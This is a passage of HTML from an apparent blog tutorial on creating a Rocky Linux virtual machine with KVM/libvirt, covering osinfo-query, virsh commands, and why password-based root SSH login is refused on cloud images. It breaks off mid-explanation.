href="https://substackcdn.com/image/fetch/$s_!jf2R!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F360852cb-5429-4f28-b74b-27473de2b057_1039x341.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jf2R!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F360852cb-5429-4f28-b74b-27473de2b057_1039x341.png 424w, https://substackcdn.com/image/fetch/$s_!jf2R!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F360852cb-5429-4f28-b74b-27473de2b057_1039x341.png 848w, https://substackcdn.com/image/fetch/$s_!jf2R!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F360852cb-5429-4f28-b74b-27473de2b057_1039x341.png 1272w, https://substackcdn.com/image/fetch/$s_!jf2R!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F360852cb-5429-4f28-b74b-27473de2b057_1039x341.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jf2R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F360852cb-5429-4f28-b74b-27473de2b057_1039x341.png" width="1039" height="341" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/360852cb-5429-4f28-b74b-27473de2b057_1039x341.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:341,&quot;width&quot;:1039,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:41403,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F360852cb-5429-4f28-b74b-27473de2b057_1039x341.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jf2R!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F360852cb-5429-4f28-b74b-27473de2b057_1039x341.png 424w, https://substackcdn.com/image/fetch/$s_!jf2R!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F360852cb-5429-4f28-b74b-27473de2b057_1039x341.png 848w, https://substackcdn.com/image/fetch/$s_!jf2R!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F360852cb-5429-4f28-b74b-27473de2b057_1039x341.png 1272w, https://substackcdn.com/image/fetch/$s_!jf2R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F360852cb-5429-4f28-b74b-27473de2b057_1039x341.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>But <code>osinfo-query os</code> is prefered since it provides additional info.</p><p>If you want to narrow the output, you can pipe it to grep. For example:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ osinfo-query os | grep -i rocky</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CYeW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae96856d-c229-429f-a4cb-9659a2143678_1039x430.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CYeW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae96856d-c229-429f-a4cb-9659a2143678_1039x430.png 424w, https://substackcdn.com/image/fetch/$s_!CYeW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae96856d-c229-429f-a4cb-9659a2143678_1039x430.png 848w, https://substackcdn.com/image/fetch/$s_!CYeW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae96856d-c229-429f-a4cb-9659a2143678_1039x430.png 1272w, https://substackcdn.com/image/fetch/$s_!CYeW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae96856d-c229-429f-a4cb-9659a2143678_1039x430.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CYeW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae96856d-c229-429f-a4cb-9659a2143678_1039x430.png" width="1039" height="430" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ae96856d-c229-429f-a4cb-9659a2143678_1039x430.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:430,&quot;width&quot;:1039,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:67741,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae96856d-c229-429f-a4cb-9659a2143678_1039x430.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CYeW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae96856d-c229-429f-a4cb-9659a2143678_1039x430.png 424w, https://substackcdn.com/image/fetch/$s_!CYeW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae96856d-c229-429f-a4cb-9659a2143678_1039x430.png 848w, https://substackcdn.com/image/fetch/$s_!CYeW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae96856d-c229-429f-a4cb-9659a2143678_1039x430.png 1272w, https://substackcdn.com/image/fetch/$s_!CYeW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae96856d-c229-429f-a4cb-9659a2143678_1039x430.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>On my system, the latest available entry is rocky9.0.</p><p>However, the image used in this demonstration is Rocky Linux 10.1.</p><p>You can still use the closest available match when specifying the operating system.</p><p>You can also use the newer --osinfo option, which is based on the same underlying database and provides a more flexible way to define the operating system:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">--osinfo detect=on,name=rocky9.0.</code></pre></div><p>This tells libvirt to use information from the OS database to configure the virtual machine.</p><p>The detect=on option first tries to detect the operating system from the disk image.</p><p>If detection fails, it falls back to the value provided with name=rocky10.0.</p><p>This helps ensure that the virtual machine is created with suitable defaults for that operating system.</p><h2><strong>Accessing the virtual machine</strong></h2><p>Once the virtual machine is created, it starts running in the background.</p><p>To confirm that it is running, you can list active virtual machines:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ virsh list</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!iAsf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f00c22b-b1c6-4db4-857c-7da3b01d5097_1039x208.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iAsf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f00c22b-b1c6-4db4-857c-7da3b01d5097_1039x208.png 424w, https://substackcdn.com/image/fetch/$s_!iAsf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f00c22b-b1c6-4db4-857c-7da3b01d5097_1039x208.png 848w, https://substackcdn.com/image/fetch/$s_!iAsf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f00c22b-b1c6-4db4-857c-7da3b01d5097_1039x208.png 1272w, https://substackcdn.com/image/fetch/$s_!iAsf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f00c22b-b1c6-4db4-857c-7da3b01d5097_1039x208.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!iAsf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f00c22b-b1c6-4db4-857c-7da3b01d5097_1039x208.png" width="1039" height="208" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2f00c22b-b1c6-4db4-857c-7da3b01d5097_1039x208.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:208,&quot;width&quot;:1039,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:21200,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f00c22b-b1c6-4db4-857c-7da3b01d5097_1039x208.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!iAsf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f00c22b-b1c6-4db4-857c-7da3b01d5097_1039x208.png 424w, https://substackcdn.com/image/fetch/$s_!iAsf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f00c22b-b1c6-4db4-857c-7da3b01d5097_1039x208.png 848w, https://substackcdn.com/image/fetch/$s_!iAsf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f00c22b-b1c6-4db4-857c-7da3b01d5097_1039x208.png 1272w, https://substackcdn.com/image/fetch/$s_!iAsf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f00c22b-b1c6-4db4-857c-7da3b01d5097_1039x208.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>To connect to the system, you first need its IP address.</p><p>You can retrieve it using:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sudo virsh domifaddr rocky-10-kvm-lab-demo</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nudP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7106c8-e27a-4950-833a-d203bde279ba_1039x208.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nudP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7106c8-e27a-4950-833a-d203bde279ba_1039x208.png 424w, https://substackcdn.com/image/fetch/$s_!nudP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7106c8-e27a-4950-833a-d203bde279ba_1039x208.png 848w, https://substackcdn.com/image/fetch/$s_!nudP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7106c8-e27a-4950-833a-d203bde279ba_1039x208.png 1272w, https://substackcdn.com/image/fetch/$s_!nudP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7106c8-e27a-4950-833a-d203bde279ba_1039x208.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nudP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7106c8-e27a-4950-833a-d203bde279ba_1039x208.png" width="1039" height="208" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1c7106c8-e27a-4950-833a-d203bde279ba_1039x208.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:208,&quot;width&quot;:1039,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:25227,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7106c8-e27a-4950-833a-d203bde279ba_1039x208.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nudP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7106c8-e27a-4950-833a-d203bde279ba_1039x208.png 424w, https://substackcdn.com/image/fetch/$s_!nudP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7106c8-e27a-4950-833a-d203bde279ba_1039x208.png 848w, https://substackcdn.com/image/fetch/$s_!nudP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7106c8-e27a-4950-833a-d203bde279ba_1039x208.png 1272w, https://substackcdn.com/image/fetch/$s_!nudP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7106c8-e27a-4950-833a-d203bde279ba_1039x208.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This command shows the network interfaces associated with the virtual machine, including the assigned IP address.</p><p>Look for an entry under the address column.</p><p>Once you have the IP address, connect using SSH:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ ssh root@192.168.122.227</code></pre></div><p>Use the root password you configured earlier. N</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cm4u!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96757a2-5644-469f-a11c-decd8f868f2d_1039x208.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cm4u!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96757a2-5644-469f-a11c-decd8f868f2d_1039x208.png 424w, https://substackcdn.com/image/fetch/$s_!cm4u!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96757a2-5644-469f-a11c-decd8f868f2d_1039x208.png 848w, https://substackcdn.com/image/fetch/$s_!cm4u!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96757a2-5644-469f-a11c-decd8f868f2d_1039x208.png 1272w, https://substackcdn.com/image/fetch/$s_!cm4u!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96757a2-5644-469f-a11c-decd8f868f2d_1039x208.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cm4u!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96757a2-5644-469f-a11c-decd8f868f2d_1039x208.png" width="1039" height="208" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a96757a2-5644-469f-a11c-decd8f868f2d_1039x208.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:208,&quot;width&quot;:1039,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:39673,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96757a2-5644-469f-a11c-decd8f868f2d_1039x208.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!cm4u!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96757a2-5644-469f-a11c-decd8f868f2d_1039x208.png 424w, https://substackcdn.com/image/fetch/$s_!cm4u!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96757a2-5644-469f-a11c-decd8f868f2d_1039x208.png 848w, https://substackcdn.com/image/fetch/$s_!cm4u!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96757a2-5644-469f-a11c-decd8f868f2d_1039x208.png 1272w, https://substackcdn.com/image/fetch/$s_!cm4u!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96757a2-5644-469f-a11c-decd8f868f2d_1039x208.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>You&#8217;ll notice the password does not work. SSH attempts different authentication methods and eventually fails with:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password)</code></pre></div><p>This is a good opportunity to understand what is happening.</p><p>On many cloud images, especially Rocky, root login using a password over SSH is disabled by default, even if a root password is set.</p><p>This means the system allows SSH access, but refuses password-based login for root.</p><p>A few common reasons for this behavior:</p><ul><li><p><code>PermitRootLogin</code> is set to <code>prohibit-password</code> or <code>without-password</code></p></li><li><p><code>PasswordAuthentication</code> is disabled</p></li><li><p>The image is designed to use SSH keys instead of passwords</p></li></ul><p>In this setup, you did not inject an SSH key, so SSH has no valid authentication method to use.</p><p>To confirm this, connect to the virtual machine console:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sudo virsh console rocky-10-kvm-lab-demo</code></pre></div><p>If the login prompt does not appear immediately, press <code>Enter</code> a few times.</p><p>Log in as <code>root</code> using the password <code>root</code>.</p><p>Once inside, check the effective SSH configuration:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">$ sshd -T | grep -E 'permitrootlogin|passwordauthentication'</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!phYO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ce75584-9586-48b5-8678-6fd7b00018c0_1039x253.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!phYO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ce75584-9586-48b5-8678-6fd7b00018c0_1039x253.png 424w, https://substackcdn.com/image/fetch/$s_!phYO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ce75584-9586-48b5-8678-6fd7b00018c0_1039x253.png 848w, https://substackcdn.com/image/fetch/$s_!phYO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ce75584-9586-48b5-8678-6fd7b00018c0_1039x253.png 1272w, https://substackcdn.com/image/fetch/$s_!phYO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ce75584-9586-48b5-8678-6fd7b00018c0_1039x253.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!phYO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ce75584-9586-48b5-8678-6fd7b00018c0_1039x253.png" width="1039" height="253" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7ce75584-9586-48b5-8678-6fd7b00018c0_1039x253.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:253,&quot;width&quot;:1039,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32377,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/192757854?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ce75584-9586-48b5-8678-6fd7b00018c0_1039x253.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!phYO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ce75584-9586-48b5-8678-6fd7b00018c0_1039x253.png 424w, https://substackcdn.com/image/fetch/$s_!phYO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ce75584-9586-48b5-8678-6fd7b00018c0_1039x253.png 848w, https://substackcdn.com/image/fetch/$s_!phYO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ce75584-9586-48b5-8678-6fd7b00018c0_1039x253.png 1272w, https://substackcdn.com/image/fetch/$s_!phYO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ce75584-9586-48b5-8678-6fd7b00018c0_1039x253.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The output clearly explains why the login 